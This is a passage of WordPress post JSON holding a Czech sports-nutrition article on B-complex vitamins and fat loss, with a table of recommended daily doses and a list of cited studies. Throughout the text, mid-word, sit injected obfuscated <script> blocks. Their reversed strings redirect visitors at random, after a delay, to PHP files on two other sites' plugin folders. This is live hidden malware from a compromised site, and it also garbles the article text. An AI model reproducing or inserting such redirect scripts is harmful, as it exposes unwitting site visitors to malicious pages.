$NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to cenn\u00e9 vitaminy najdete p\u0159edev\u0161\u00edm v&nbsp;potravin\u00e1ch \u017eivo\u010di\u0161n\u00e9ho p\u016fvodu (maso, vejce), jsou ur\u010dit\u00e9 skupiny lid\u00ed (vegani, vegetari\u00e1ni atd.) vystaveny vy\u0161\u0161\u00edmu riziku jejich nedostatku.<\/p>\n\n\n\n<div class=\"wp-block-media-text alignwide is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"640\" height=\"405\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/06\/B-komplex1.jpg\" alt=\"\" class=\"wp-image-725 size-full\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/06\/B-komplex1.jpg 640w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/06\/B-komplex1-300x190.jpg 300w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<h4 class=\"wp-block-heading\">Vy\u0161\u0161\u00ed n\u00e1roky na p\u0159\u00edsun vitamin\u016f skupiny B ale maj\u00ed i spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovci, zejm\u00e9na v&nbsp;p\u0159edsout\u011b\u017en\u00ed f\u00e1zi, kdy omezuj\u00ed p\u0159\u00edjem energie a vy\u0159azuj\u00ed n\u011bkter\u00e9 druhy potravin. Kvalitn\u00ed suplement tedy rozhodn\u011b d\u00e1v\u00e1 smysl, pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to\u017ee zajist\u00ed t\u011blu dostate\u010dn\u00fd p\u0159\u00edsun l\u00e1tek, kter\u00e9 umo\u017en\u00ed optim\u00e1ln\u00ed pr\u016fb\u011bh metabolick\u00fdch proces\u016f a vytvo\u0159\u00ed tak dobr\u00e9 podm\u00ednky pro dosa\u017een\u00ed stanoven\u00fdch c\u00edl\u016f.<\/h4>\n<\/div><\/div>\n\n\n\n<p>Vy\u0161\u0161\u00ed n\u00e1roky na p\u0159\u00edsun vitamin\u016f skupiny B ale maj\u00ed i spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovci, zejm\u00e9na v&nbsp;p\u0159edsout\u011b\u017en\u00ed f\u00e1zi, kdy omezuj\u00ed p\u0159\u00edjem energie a vy\u0159azuj\u00ed n\u011bkter\u00e9 druhy potravin. Kvalitn\u00ed suplement tedy rozhodn\u011b d\u00e1v\u00e1 smysl, pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to\u017ee zajist\u00ed t\u011blu dostate\u010dn\u00fd p\u0159\u00edsun l\u00e1tek, kter\u00e9 umo\u017en\u00ed optim\u00e1ln\u00ed pr\u016fb\u011bh metabolick\u00fdch proces\u016f a vytvo\u0159\u00ed tak dobr\u00e9 podm\u00ednky pro dosa\u017een\u00ed stanoven\u00fdch c\u00edl\u016f.<\/p>\n\n\n\n<p><strong>Jestli m\u00e1te o\u010dek\u00e1vat \u0161pi\u010dkov\u00e9 v\u00fdsledky od kvalitn\u00edch spalova\u010d\u016f, m\u011bli byste v&nbsp;prvn\u00ed \u0159ad\u011b harmonizovat z\u00e1kladn\u00ed pochody, jak\u00fdmi jsou produkce energie a zpracov\u00e1n\u00ed makro\u017eivin. V&nbsp;<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to ohledu maj\u00ed vitaminy skupiny B ve va\u0161em suplemen<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tov\u00e9m programu svoje nezpochybniteln\u00e9 m\u00eds<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td><strong>Vitamin B<\/strong><\/td><td><strong>Doporu\u010den\u00e1 denn\u00ed d\u00e1vka \u017eeny\/mu\u017ei*<\/strong><\/td><\/tr><tr><td>Thiamin \u2013 B1<\/td><td>1,1 mg\/1,2 mg<\/td><\/tr><tr><td>Riboflavin \u2013 B2<\/td><td>1,1 mg\/1,3 mg<\/td><\/tr><tr><td>Niacin \u2013 B3<\/td><td>14 mg\/ 16 mg&nbsp;&nbsp;&nbsp;<\/td><\/tr><tr><td>Pyridoxin \u2013 B6<\/td><td>1,3 mg&nbsp;&nbsp;<\/td><\/tr><tr><td>Kobalamin \u2013 B12<\/td><td>2,4 mcg<\/td><\/tr><tr><td>B9 \u2013 kyselina lis<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tov\u00e1<\/td><td>400 mcg<\/td><\/tr><tr><td>B7 &#8211; biotin<\/td><td>30 mcg<\/td><\/tr><tr><td>B5 \u2013 kyselina pan<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>totenov\u00e1<\/td><td>5 mg<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>*Jde o d\u00e1vku pro pr\u016fm\u011brn\u00e9ho dosp\u011bl\u00e9ho \u010dlov\u011bka, tzn. mno\u017estv\u00ed, kter\u00e9 nezohled\u0148uje zv\u00fd\u0161en\u00e9 n\u00e1roky tvrd\u011b tr\u00e9nuj\u00edc\u00edch spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovc\u016f.<\/p>\n\n\n\n<p><strong>Zdroje:<\/strong><\/p>\n\n\n\n<p><a href=\"https:\/\/pubmed.ncbi.nlm.nih.gov\/25770253\/\">https:\/\/pubmed.ncbi.nlm.nih.gov\/25770253\/<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/www.wjgnet.com\/1948-9358\/full\/v6\/i10\/1158.htm\">https:\/\/www.wjgnet.com\/1948-9358\/full\/v6\/i10\/1158.htm<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/pubmed.ncbi.nlm.nih.gov\/17240780\/\">https:\/\/pubmed.ncbi.nlm.nih.gov\/17240780\/<\/a><\/p>\n\n\n\n<p>Van der Beek, E. J., Van Dokkum, W., Wedel, M., Schrijver, J., &amp; van den Berg, H. (1994).&nbsp;<a href=\"http:\/\/www.tandfonline.com\/doi\/abs\/10.1080\/07315724.1994.10718459\" target=\"_blank\" rel=\"noreferrer noopener\">Thiamin, riboflavin and vitamin B6: impact of restricted intake on physical performance in man<\/a>.&nbsp;<em>Journal of the American College of Nutrition<\/em>, 13(6), 629-640.<\/p>\n\n\n\n<p>Institute of Medicine (US) Standing Committee on the Scientific Evaluation of Dietary Reference Intakes. (1998).&nbsp;<a href=\"https:\/\/www.ncbi.nlm.nih.gov\/pubmed\/23193625\" target=\"_blank\" rel=\"noreferrer noopener\">Dietary reference intakes for thiamin, riboflavin, niacin, vitamin B6, folate, vitamin B12, pan<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tothenic acid, biotin, and choline<\/a>.&nbsp;<em>National Academies Press<\/em>&nbsp;(US).<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ne nadarmo se \u0159\u00edk\u00e1, \u017ee dob\u0159\u00ed holubi se vracej\u00ed. Plat\u00ed to i o osv\u011bd\u010den\u00fdch trendech ve v\u00fd\u017eiv\u011b a suplementaci. Tak\u017ee se pozornost \u0159ady sportovc\u016f op\u011bt up\u00edr\u00e1 k&nbsp;ikonick\u00e9mu B komplexu. Kter\u00e9 l\u00e1tky tvo\u0159\u00ed komplex B vitamin\u016f? B1 \u2013 thiamin B2 \u2013 riboflavin B3 \u2013 niacin B5 \u2013 kyselina pantotenov\u00e1 B6 \u2013 pyridoxine B7 \u2013 biotin B9 \u2013 kyselina listov\u00e1 B12 \u2013 kobalamin Jde o vitaminy rozpustn\u00e9 ve vod\u011b, co\u017e znamen\u00e1, \u017ee si je t\u011blo neukl\u00e1d\u00e1 a mus\u00edte je p\u0159ij\u00edmat pravideln\u011b v&nbsp;dostate\u010dn\u00fdch d\u00e1vk\u00e1ch. B vitaminy pln\u00ed v&nbsp;organismu \u0161irokou \u0161k\u00e1lu v\u00fdznamn\u00fdch \u00fakol\u016f, zejm\u00e9na co se t\u00fd\u010de fungov\u00e1n\u00ed metabolismu: &#8211; napom\u00e1haj\u00ed p\u0159em\u011bn\u011b b\u00edlkovin, sacharid\u016f a tuk\u016f na energii; &#8211; zaji\u0161\u0165uj\u00ed spr\u00e1vn\u00e9 fungov\u00e1n\u00ed nervov\u00e9ho syst\u00e9mu; &#8211; podporuj\u00ed tvorbu n\u011bkter\u00fdch d\u016fle\u017eit\u00fdch hormon\u016f a neurotransmiter\u016f. Ka\u017ed\u00fd vitamin m\u00e1 n\u011bkolik sv\u00fdch unik\u00e1tn\u00edch funkc\u00ed. Kdy\u017e p\u0159ijde \u0159e\u010d na spalov\u00e1ni tuk\u016f, pak budou rozhodn\u011b nejdiskutovan\u011bj\u0161\u00ed B1, B3, B6 a B12. Thiamin (B1) ovliv\u0148uje chu\u0165 k&nbsp;j\u00eddlu a na z\u00e1klad\u011b \u0159ady studi\u00ed bylo prok\u00e1z\u00e1no, \u017ee jeho nedostatek je v&nbsp;p\u0159\u00edm\u00e9 souvislosti s&nbsp;obezitou. Zhruba t\u0159etina ob\u00e9zn\u00edch lid\u00ed nem\u00e1 dostate\u010dnou hladinu thiaminu, co\u017e m\u016f\u017ee jejich pot\u00ed\u017ee zhor\u0161ovat. Je to pr\u00e1v\u011b thiamin, kter\u00fd hraje hlavn\u00ed roli v&nbsp;produkci energie, zejm\u00e9na pak ve zp\u016fsobu, jak\u00fdm t\u011blo vyu\u017e\u00edv\u00e1 glykogen a \u0161t\u011bp\u00ed aminokyseliny s&nbsp;rozv\u011btven\u00fdm \u0159et\u011bzcem. Dostate\u010dn\u00e9 mno\u017estv\u00ed tohoto vitaminu zajist\u00ed spr\u00e1vn\u00e9 fungov\u00e1n\u00ed metabolismu a odpov\u00eddaj\u00edc\u00ed vytrvalost b\u011bhem sportovn\u00edho v\u00fdkonu. Niacin (B3) umo\u017e\u0148uje produkci energie z&nbsp;p\u0159ijat\u00e9 potravy, \u00fa\u010dastn\u00ed se hlavn\u011b synt\u00e9zy mastn\u00fdch kyselin a cholesterolu, zaji\u0161\u0165uje norm\u00e1ln\u00ed chu\u0165 k&nbsp;j\u00eddlu, m\u00e1 vliv na tr\u00e1ven\u00ed, stav pleti a nervov\u00e9 soustavy. Podle odborn\u00edk\u016f by lid\u00e9 trp\u00edc\u00ed nadv\u00e1hou a obezitou m\u011bli p\u0159\u00edjem tohoto vitaminu nav\u00fd\u0161it, stejn\u00e1 doporu\u010den\u00ed pak budou platit i pro jedince, kte\u0159\u00ed dr\u017e\u00ed p\u0159\u00edsnou dietu \u010di pro sportovce v&nbsp;tr\u00e9ninkov\u00e9 z\u00e1t\u011b\u017ei. Pyridoxin (B6) je nezbytn\u00fd pro tvorbu hemoglobinu, kter\u00fd zaji\u0161\u0165uje transport kysl\u00edku v&nbsp;t\u011ble. D\u00e1le hraje z\u00e1sadn\u00ed roli v&nbsp;synt\u00e9ze aminokyselin a p\u0159i&nbsp;tzv. glukoneogenezi, tedy v&nbsp;procesu, kdy z&nbsp;gluk\u00f3za vznik\u00e1 z&nbsp;tuk\u016f nebo aminokyselin. T\u00edm je zaji\u0161t\u011bna adekv\u00e1tn\u00ed hladina cukru v&nbsp;krvi i b\u011bhem omezen\u00e9ho p\u0159\u00edjmu potravy (dieta). Kobalamin (B12) se \u00fa\u010dastn\u00ed p\u0159edev\u0161\u00edm metabolismu b\u00edlkovin, sacharid\u016f a tuk\u016f, uplatn\u00ed se ov\u0161em i b\u011bhem tvorby kostn\u00ed d\u0159en\u011b, \u010derven\u00fdch krvinek a p\u0159i spr\u00e1vn\u00e9 funkci nervov\u00e9 soustavy, proto\u017ee zaji\u0161\u0165uje celistvost myelinu \u2013 ochrann\u00e9 vrstvy kolem nervov\u00fdch vl\u00e1ken. D\u00edky studii proveden\u00e9 v&nbsp;roce 2013 nav\u00edc v\u00edme, \u017ee nedostatek vitaminu B12 vede k&nbsp;n\u00e1r\u016fstu v\u00e1hy a u lid\u00ed, kte\u0159\u00ed pot\u0159ebuj\u00ed svoji hmotnost \u0159e\u0161it, d\u00e1v\u00e1 smysl kvalitn\u00ed suplementace. Komu hroz\u00ed nedostatek? Vzhledem 